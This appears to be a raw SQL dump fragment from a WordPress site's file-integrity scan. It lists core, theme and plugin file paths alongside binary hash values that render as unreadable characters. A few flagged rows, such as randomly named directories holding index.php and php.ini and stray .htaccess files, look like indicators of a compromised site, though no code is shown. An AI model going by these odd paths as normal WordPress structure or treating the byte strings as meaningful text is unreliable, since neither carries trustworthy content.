('?UBwN	i','wp-content/themes/twentynineteen/sass/navigation/_menu-footer-navigation.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/navigation/_menu-footer-navigation.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','fp4g','x8o1bprp','',0,'?'),
('1-Q$^','wp-content/themes/twentytwentyfour/assets/fonts/inter/Inter-VariableFont_slnt,wght.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/fonts/inter/Inter-VariableFont_slnt,wght.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','բ	\"\\\n','v[-NYQVLVgn8b','',0,'?'),
('\rms\0@=[','wp-includes/blocks/text-columns/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/text-columns/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ǎO׌u',':/I`69	R03','',0,'?'),
('֬+I7^','wp-includes/blocks/file/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/file/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\n\\T8)|\'Uw','chzX=A!zyEЯy`H&+GׇM;	','',0,'?'),
('[jnZ>A','wp-content/themes/twentytwentyfive/readme.txt','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/readme.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\Z[Ɇ%rN','c.uWb*Gm\n/-`uluV','',0,'?'),
('XVטO|8}','wp-includes/theme.php','/home/trevorkl/trevorklee.com/wp-includes/theme.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5!O]','umtW+*h4(+_','',0,'?'),
(' m<-\'8Y','wp-includes/css/dist/preferences/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/preferences/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}2{ёƮg','oqhc,JٸB₿dl&^','',0,'?'),
('+#\n+6','wp-includes/js/dist/script-modules/vips/worker.min.asset.php','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/vips/worker.min.asset.php',0,'su$9S)	n4n','su$9S)	n4n','VyڟF\rߎwO`_u1ꢬ','',0,'?'),
('0\"G\Z=hV4','wp-includes/blocks/separator/theme.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/separator/theme.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','EȪh','אZȽn_6{Nn;FM>un\"','',0,'?'),
('BH*mzN83','wp-admin/css/edit-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/edit-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\n`c','+^$˄>]onI-','',0,'?'),
('V}Pm/|I*','wp-includes/js/customize-loader.js','/home/trevorkl/trevorklee.com/wp-includes/js/customize-loader.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5G11QōΑ','ˎ4p5dHmԒ؂z','',0,'?'),
('XkЃ','wp-content/themes/twentytwentytwo/assets/images/flight-path-on-gray-c.jpg','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/flight-path-on-gray-c.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','<ˋBpN7\Z-','>\nM2\\lYߌhfX','',0,'?'),
('eܘHy]o','wp-content/themes/twentytwentytwo/templates/archive.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/templates/archive.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0ռwE\'t','Ҟ1g2	ʻBs\rVXL','',0,'?'),
('lt:{0+79C','wp-includes/sodium_compat/src/Core/HSalsa20.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/HSalsa20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Hx+07`}','@qzjI \0DaW6n{y','',0,'?'),
('.v8-rJŕqQ','wp-includes/js/wp-auth-check.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-auth-check.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2YTxw','EID(10i|V:^s\ZXǂ\\9kOG','',0,'?'),
('^jt\re0','wp-includes/js/tinymce/plugins/colorpicker/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/colorpicker/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('z>N}!^x','wp-includes/l10n/class-wp-translation-file-php.php','/home/trevorkl/trevorklee.com/wp-includes/l10n/class-wp-translation-file-php.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ɖx+YTM','g)rǡWKX,IpLQׯ','',0,'?'),
('6UѦu','wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','EWR῏\0','裐;J-<\"86exּT(`ߒL ','',0,'?'),
('7E#wŧj','wp-admin/includes/image-edit.php','/home/trevorkl/trevorklee.com/wp-admin/includes/image-edit.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p]X3\\9iQ@','=A-5{r,6>T`s','',0,'?'),
('UՉB','wp-includes/Requests/src/Exception/Http/Status415.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status415.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\ne\Z^Ffm','*حҟ|9/_<1?+V','',0,'?'),
('bq/Fk','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/Precomp.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/Precomp.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7¤\rFg','nV\'VV)F|*ᑝ2Nz','',0,'?'),
('3N|4JQ','wp-content/plugins/loginizer/lib/hybridauth/Exception/AuthorizationDeniedException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Exception/AuthorizationDeniedException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ATr_@','QHX؂4M\"}dݼF:','',0,'?'),
('ܟ_8H\r$:','wp-content/themes/twentytwentythree/styles/electric.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/styles/electric.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(\\*jþeF','&&Ǯ}7:zD;ZM\0Aw','',0,'?'),
('ܰ\'l4Q̑R*','wp-content/plugins/simpletoc/changelog.txt','/home/trevorkl/trevorklee.com/wp-content/plugins/simpletoc/changelog.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','l=_>','TOs\\^+z>;zjJhH','',0,'?'),
('v|-','wp-includes/js/tinymce/plugins/tabfocus/plugin.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/tabfocus/plugin.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!<]r','p[L7F|˖ZBR','',0,'?'),
('ɗ,%@w','wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexSans-Light.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexSans-Light.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ѩʲ[, 7}','-7R1}[namb+(c4ǽi7','',0,'?'),
('iMuj楝','wp-includes/Requests/src/Exception/Http/Status306.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status306.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/Hk{O;,<`S{~','Muy%hחHlcA','',0,'?'),
('=p1MPa','wp-includes/js/dist/script-modules/vips/worker.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/vips/worker.min.js',0,'\'ߕQ	l','\'ߕQ	l','~eeVS֎+Zw\'|K<','',0,'?'),
('!HUN&\"z','wp-admin/css/widgets.css','/home/trevorkl/trevorklee.com/wp-admin/css/widgets.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|YX:Մ$','b[[sQ:Usyn$Z\'i','',0,'?'),
('3mB,1ń','wp-content/plugins/wordfence/css/wf-roboto-font.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/wf-roboto-font.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',']Ouݵ','+hJ~ʆ*a*Gb67\r:','',0,'?'),
('<#2yQ;w1','wp-content/themes/twentytwentytwo/assets/images/flight-path-on-transparent-d.png','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/flight-path-on-transparent-d.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U)j\"Y','bqiHBgebtfy\n@ş','',0,'?'),
('BHNicyrK','wp-includes/js/dist/script-modules/block-library/image/view.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/image/view.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','mv','cm)(ah<<E','',0,'?'),
('F߇#ata','wp-includes/block-patterns/query-small-posts.php','/home/trevorkl/trevorklee.com/wp-includes/block-patterns/query-small-posts.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','f@Iva=9uQ','ͷ%w@3#FZqt`so','',0,'?'),
('L~iS?vC>@y','wp-includes/blocks/latest-comments/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/latest-comments/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','qcx+}%P','j\ncIrt8\nhx;Y!Q\";','',0,'?'),
('S7zǫW~2','wp-includes/blocks/site-tagline/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-tagline/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9s+2c1\\%\0{','ZkR⨈\Z5pm\\nz','',0,'?'),
('U4Nb<#_','wp-includes/blocks/video/theme-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/video/theme-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')>Hh?7F','3ᙼ<Ht?>NOuΊEgݎJ','',0,'?'),
('Zɡ>5y#P','wp-includes/js/dist/script-modules/video-conversion/loader.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/video-conversion/loader.js',0,'9^b>v&#E{%','9^b>v&#E{%','w5|ORܗ߹Ѝ0lqɒq7','',0,'?'),
('atUq^!0ƣl','wp-includes/post-formats.php','/home/trevorkl/trevorklee.com/wp-includes/post-formats.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','oގ.O','cTl_\"bM*y\"N;,','',0,'?'),
('kzߣboR','wp-admin/post-new.php','/home/trevorkl/trevorklee.com/wp-admin/post-new.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','c\n1U\\EȄ','lr}^u1w3;.?NN`r','',0,'?'),
('vO#JN+쁁','wp-content/plugins/wordfence/css/images/ui-icons_ffffff_256x240.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/images/ui-icons_ffffff_256x240.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Aa+JD$2J','/#?TiOLyvuTKɤ\\ػ','',0,'?'),
('|vP0fhT','wp-includes/js/dist/block-directory.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/block-directory.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=Xf\ro̷w','[`*+M7\\6 }l','',0,'?'),
('͒g̿ՙ','wp-includes/blocks/accordion-panel/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/accordion-panel/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('X\';yfF','wp-content/plugins/wordfence/lib/wfFileUtils.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfFileUtils.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','1}o!8|O\'','jcORox&#A\\!ǌР,2̖r','',0,'?'),
('@{J5䷴X','wp-includes/js/tinymce/skins/wordpress/images/playlist-audio.png','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/wordpress/images/playlist-audio.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U,:)؋\"QqY','\"Ooۈ<oES-MO÷YN!','',0,'?'),
(' vl,\0dʯ','wp-includes/Requests/src/Exception/Transport/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Transport/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('+P%8B\0','wp-content/themes/twentytwentytwo/inc/patterns/page-about-media-right.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-about-media-right.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','cٵNfpMC','M$	7Ș}9lb̈%Сy-)ܛrO','',0,'?'),
('L6	׳','wp-includes/ID3/module.audio.ac3.php','/home/trevorkl/trevorklee.com/wp-includes/ID3/module.audio.ac3.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>Y\Zk0aM','b^#¨(t^rߘz9F','',0,'?'),
('TV\\','wp-admin/import.php','/home/trevorkl/trevorklee.com/wp-admin/import.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'{ţn\n>Y','mAVT%KR\nZU4{cx.','',0,'?'),
('\ZlcRS','wp-content/themes/twentytwentyfive/patterns/template-home-with-sidebar-news-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-home-with-sidebar-news-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U #C&zؙ',' Mv<d\"j߄cxq!M','',0,'?'),
('ܵ[Ҳm%6S8:D','wp-includes/images/toggle-arrow.png','/home/trevorkl/trevorklee.com/wp-includes/images/toggle-arrow.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','·a;d*','[b\Z;]f0s|:%','',0,'?'),
('$Oqyܹ','wp-includes/blocks/audio/theme-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/audio/theme-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','pxں5)C4\ZM','^}b>?K8<R܊${06','',0,'?'),
('!ެ߳p','wp-includes/images/crystal/default.png','/home/trevorkl/trevorklee.com/wp-includes/images/crystal/default.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','A>)*/!-','n$_u	$Q3E׏r|Jm','',0,'?'),
('#V(k]$(','wp-content/themes/twentynineteen/sass/elements/_tables.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/elements/_tables.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>\"MY~','lGw}V>%{n\\z;','',0,'?'),
('I	2RNjY','wp-includes/sodium_compat/src/Core32/Curve25519/Fe.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Curve25519/Fe.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','c+9O˚d/R\n','>s$/C yv','',0,'?'),
('&MXWO','wp-includes/error-protection.php','/home/trevorkl/trevorklee.com/wp-includes/error-protection.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@GX=\">7Ś',',끭@cZ/_,<Җk','',0,'?'),
('B[]\Z&?4q','wp-content/plugins/wordfence/js/wfi18n.1788880300.js','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/js/wfi18n.1788880300.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~\rJ;M','NL	tZ(¼\'*K|\0/ju\0','',0,'?'),
('%~= ','wp-includes/images/media/bfadedbecbebc.png','/home/trevorkl/trevorklee.com/wp-includes/images/media/bfadedbecbebc.png',0,'!$KT%','!$KT%','|\rF&_Ԃ́O\0\neZ','',0,'?'),
('>mӤJv/8','wp-includes/blocks/shortcode/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/shortcode/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('PIUxfJ%q','wp-includes/blocks/footnotes/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/footnotes/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ڌ\ZZSI-','PINΙZtr\'ׂ=,]-','',0,'?'),
('\\Дhc','wp-includes/blocks/page-list/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/page-list/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2밈LvV\n','.R7U	1H+\'C Nqܰmb','',0,'?'),
('u1HM:E7/{','wp-admin/includes/class-wp-site-health.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-site-health.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','18=5άsƸ','O٤,Z7h%W׶˰vv','',0,'?'),
('ZԬ=!Ri=7h','wp-includes/js/dist/vendor/wp-polyfill-object-fit.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/wp-polyfill-object-fit.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','w$1)x5)L{p','ǈv㡴y\"0Mp@RTඒK','',0,'?'),
('p4kcQ(0h','wp-includes/blocks/avatar/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/avatar/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','D||PyXG','~_8x~5K<A{ؚe ','',0,'?'),
('&uk쳌 %','wp-includes/blocks/navigation-submenu/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation-submenu/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('ǀ3<&YĆ','wp-includes/class-wp-roles.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-roles.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7\\%wP?h$ԯ','**=5/0C TpAڡ{d','',0,'?'),
('f0ͭ~)','wp-includes/fonts/dashicons.woff','/home/trevorkl/trevorklee.com/wp-includes/fonts/dashicons.woff',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\Z_rY+ʂ;','yU]f8tlL.','',0,'?'),
('MO,s\r','wp-includes/class-wp-http-encoding.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-http-encoding.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Myy`DJj4$ڈ','~?r2߭PɅ[	\nY9fK','',0,'?'),
('|aV~[f.','wp-content/themes/twentynineteen/package-lock.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/package-lock.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[>VO$Ȣ','\r-p}$B=%֨Da','',0,'?'),
('zJ/B&C%','wp-includes/blocks/post-featured-image/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-featured-image/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','HBk5nϲ','ťX>e9WYeS>!.4','',0,'?'),
('!ۅ.4qdtP','wp-content/plugins/akismet/views/activate.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/views/activate.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^}ߩ+<P [w','#}ɻpGσ;q\ZB','',0,'?'),
('#ynہ彐[hr\\U','wp-content/plugins/wordfence/modules/login-security/views/manage/activate.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/manage/activate.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dB<evi','}R3N&OpC$p~Hk*','',0,'?'),
('5;T]\0','wp-includes/blocks/post-content.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-content.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-i\r*UF$}ol','mM6K@[uJjω4$0{b~o','',0,'?'),
('6|;;8Q4k','wp-admin/install.php','/home/trevorkl/trevorklee.com/wp-admin/install.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'z0','F6aV~eVm#+\0\n`G%	a','',0,'?'),
('9eEbݾl3','wp-includes/js/wp-lists.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-lists.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','V1+ޫ7oT','%jhAk\"q2QWixFxY$','',0,'?'),
('J9ߨu4f','wp-includes/sodium_compat/src/Core32/Poly1305/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Poly1305/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('SbOJ\nJ','wp-content/themes/twentytwentyfive/styles/colors/07-sunrise.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/colors/07-sunrise.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+HVP	E\r',';LxӼyĢ+vP#΋DE','',0,'?'),
('s6Z$ӾyD(','wp-includes/blocks/group/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/group/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','abЖZFUl\Z','bS %qR7Fֻ','',0,'?'),
('z9	`d3\0Iay','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/XChaCha20.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/XChaCha20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','mgQ~[#\\b','PMT1;B`','',0,'?'),
('\Z5o#R\'/l','wp-includes/fonts/dashicons.eot','/home/trevorkl/trevorklee.com/wp-includes/fonts/dashicons.eot',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','N\Z>w@R-/Y','B\nZ\Z_pn͂Q?/\r3s})','',0,'?'),
('w#Q','wp-content/plugins/akismet/views/predefined.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/views/predefined.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	sڤ','ߛZwM0aLw?\n~?kSi','',0,'?'),
('%iZd/8','wp-includes/Text/elbyraq/1qafueo/index.php','/home/trevorkl/trevorklee.com/wp-includes/Text/elbyraq/1qafueo/index.php',0,'i\0@]VȄ','i\0@]VȄ','8\\I.B|oԾZ~\nWzB','',0,'?'),
('E?Юᾠ','wp-includes/js/media-views.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/media-views.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\Z/>5o*S\r)','^ב~)ɲq`aئ_N4-','',0,'?'),
(' vbu)','wp-content/plugins/wordfence/crypto/vendor/paragonie/random_compat/lib/random_bytes_dev_urandom.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/random_compat/lib/random_bytes_dev_urandom.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=Y@_x','ް\Z^3ɟvU.a\r]fhI(sA','',0,'?'),
('R:^e+x2c','wp-includes/PHPMailer/SMTP.php','/home/trevorkl/trevorklee.com/wp-includes/PHPMailer/SMTP.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W\022_w','P$\Z qoL`{m<$RB','',0,'?'),
('\0RBz\Z	','wp-content/plugins/wordfence/views/scanner/text/issue-checkHowGetIPs.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-checkHowGetIPs.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','σ\\8}Q7','9`txK!}Ys\06','',0,'?'),
('=?;~7SQ\Z','wp-includes/blocks/comment-author-name.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-author-name.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B\"k\"Њ+^','ӤB&)`(=ë,[}ߢyE\"','',0,'?'),
('Cg}|E','wp-admin/js/word-count.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/word-count.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xgU0V','0twTz+of/\rh','',0,'?'),
('Aţ4	c','wp-includes/sodium_compat/src/PHP52/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/PHP52/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('ihʖsK','wp-content/themes/twentytwentythree/parts/post-meta.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/parts/post-meta.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','83ډ5]&qY','|M\rރBX?q[$}','',0,'?'),
('	vO.|ߤҵ','wp-includes/js/tinymce/license.txt','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/license.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ox:`','Y#wOg^\'b:^	=跨|','',0,'?'),
('䀶8ٳ۱\"S','wp-includes/html-api/gcqoh1b/ecjxzqp/nmorylh/php.ini','/home/trevorkl/trevorklee.com/wp-includes/html-api/gcqoh1b/ecjxzqp/nmorylh/php.ini',0,'Psقdh#K','Psقdh#K',':Aa\'\rIۺw)}WtO','',0,'0'),
('$l⎙|m','wp-includes/SimplePie/src/Cache/Redis.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Cache/Redis.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ogЬ2IP','рrzS~}MRM?O$j','',0,'?'),
('*\0U\'-,M','wp-content/themes/twentynineteen/inc/template-functions.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/inc/template-functions.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','NFO\"','l-c:QrIbʗ','',0,'?'),
('CQ%@	Ja ','wp-includes/blocks/archives/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/archives/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Kx#ksyR<\0-','i˫Y:T`lPO\"b2.\0','',0,'?'),
('LߨϤ(R','wp-admin/css/code-editor.css','/home/trevorkl/trevorklee.com/wp-admin/css/code-editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','gqis픋-','~:\"`he&@*A','',0,'?'),
('6:$4-Tg5','wp-content/themes/twentynineteen/sass/elements/_lists.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/elements/_lists.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=	L`򊘖B[','V\"\ZkYcnUkYY$-,y\r','',0,'?'),
('pKb\0!(','wp-includes/css/dist/block-directory/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-directory/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>ޫ#<Zj$myU','8S#N(n,h2k\'-]чw','',0,'?'),
('&','wp-content/plugins/wordfence/modules/login-security/classes/utility/sleep.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/utility/sleep.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';¯^Q\'','gn\rLaPE7|vRXi','',0,'?'),
('tc88d@}','wp-content/themes/twentytwentythree/styles/pitch.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/styles/pitch.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','jnkLZQfQ','xmKoݘvot\"۶S~z*.','',0,'?'),
('9\0\0r!e/Qf','wp-includes/SimplePie/library/SimplePie.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4kI6q','QT@;}?C9~:)~D','',0,'?'),
('|~','wp-includes/sodium_compat/src/Core32/Salsa20.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/Salsa20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')6):','H0Lї?㞹.1MIe٣','',0,'?'),
('b|e~','wp-admin/css/customize-widgets.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/customize-widgets.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Qhqgk','ŞT\n,eitCQ0<	B0;y','',0,'?'),
('alV?f\Zё','wp-includes/IXR/class-IXR-server.php','/home/trevorkl/trevorklee.com/wp-includes/IXR/class-IXR-server.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','l6(-??]',')Bch5##\"XDŪ^','',0,'?'),
('\0hKf\0','wp-content/plugins/wordfence/images/forward_enabled.jpg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/forward_enabled.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','U\0/3e4e','0Q7018ު9-z9ؽqSrĒP','',0,'?'),
